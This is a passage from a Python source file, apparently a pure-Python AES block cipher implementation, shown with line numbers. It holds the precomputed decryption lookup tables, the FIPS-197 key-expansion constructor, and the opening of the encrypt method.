0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ] | |
124 | T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ] | |
125 | ||
126 | # Transformations for decryption key expansion | |
127 | U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ] | |
128 | U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] | |
129 | U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] | |
130 | U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] | |
131 | ||
132 | def __init__(self, key): | |
133 | ||
134 | if len(key) not in (16, 24, 32): | |
135 | raise ValueError('Invalid key size') | |
136 | ||
137 | rounds = self.number_of_rounds[len(key)] | |
138 | ||
139 | # Encryption round keys | |
140 | self._Ke = [[0] * 4 for i in xrange(rounds + 1)] | |
141 | ||
142 | # Decryption round keys | |
143 | self._Kd = [[0] * 4 for i in xrange(rounds + 1)] | |
144 | ||
145 | round_key_count = (rounds + 1) * 4 | |
146 | KC = len(key) // 4 | |
147 | ||
148 | # Convert the key into ints | |
149 | tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] | |
150 | ||
151 | # Copy values into round key arrays | |
152 | for i in xrange(0, KC): | |
153 | self._Ke[i // 4][i % 4] = tk[i] | |
154 | self._Kd[rounds - (i // 4)][i % 4] = tk[i] | |
155 | ||
156 | # Key expansion (fips-197 section 5.2) | |
157 | rconpointer = 0 | |
158 | t = KC | |
159 | while t < round_key_count: | |
160 | ||
161 | tt = tk[KC - 1] | |
162 | tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ | |
163 | (self.S[(tt >> 8) & 0xFF] << 16) ^ | |
164 | (self.S[ tt & 0xFF] << 8) ^ | |
165 | self.S[(tt >> 24) & 0xFF] ^ | |
166 | (self.rcon[rconpointer] << 24)) | |
167 | rconpointer += 1 | |
168 | ||
169 | if KC != 8: | |
170 | for i in xrange(1, KC): | |
171 | tk[i] ^= tk[i - 1] | |
172 | ||
173 | # Key expansion for 256-bit keys is "slightly different" (fips-197) | |
174 | else: | |
175 | for i in xrange(1, KC // 2): | |
176 | tk[i] ^= tk[i - 1] | |
177 | tt = tk[KC // 2 - 1] | |
178 | ||
179 | tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ | |
180 | (self.S[(tt >> 8) & 0xFF] << 8) ^ | |
181 | (self.S[(tt >> 16) & 0xFF] << 16) ^ | |
182 | (self.S[(tt >> 24) & 0xFF] << 24)) | |
183 | ||
184 | for i in xrange(KC // 2 + 1, KC): | |
185 | tk[i] ^= tk[i - 1] | |
186 | ||
187 | # Copy values into round key arrays | |
188 | j = 0 | |
189 | while j < KC and t < round_key_count: | |
190 | self._Ke[t // 4][t % 4] = tk[j] | |
191 | self._Kd[rounds - (t // 4)][t % 4] = tk[j] | |
192 | j += 1 | |
193 | t += 1 | |
194 | ||
195 | # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) | |
196 | for r in xrange(1, rounds): | |
197 | for j in xrange(0, 4): | |
198 | tt = self._Kd[r][j] | |
199 | self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ | |
200 | self.U2[(tt >> 16) & 0xFF] ^ | |
201 | self.U3[(tt >> 8) & 0xFF] ^ | |
202 | self.U4[ tt & 0xFF]) | |
203 | ||
204 | def encrypt(self, plaintext): | |
205 | 'Encrypt a block of plain text using the AES block cipher.' | |
206 | ||
207 | if len(plaintext) != 16: | |
208 | raise ValueError('wrong block length') | |
209 | ||
210 | rounds = len(self._Ke) - 1 | |
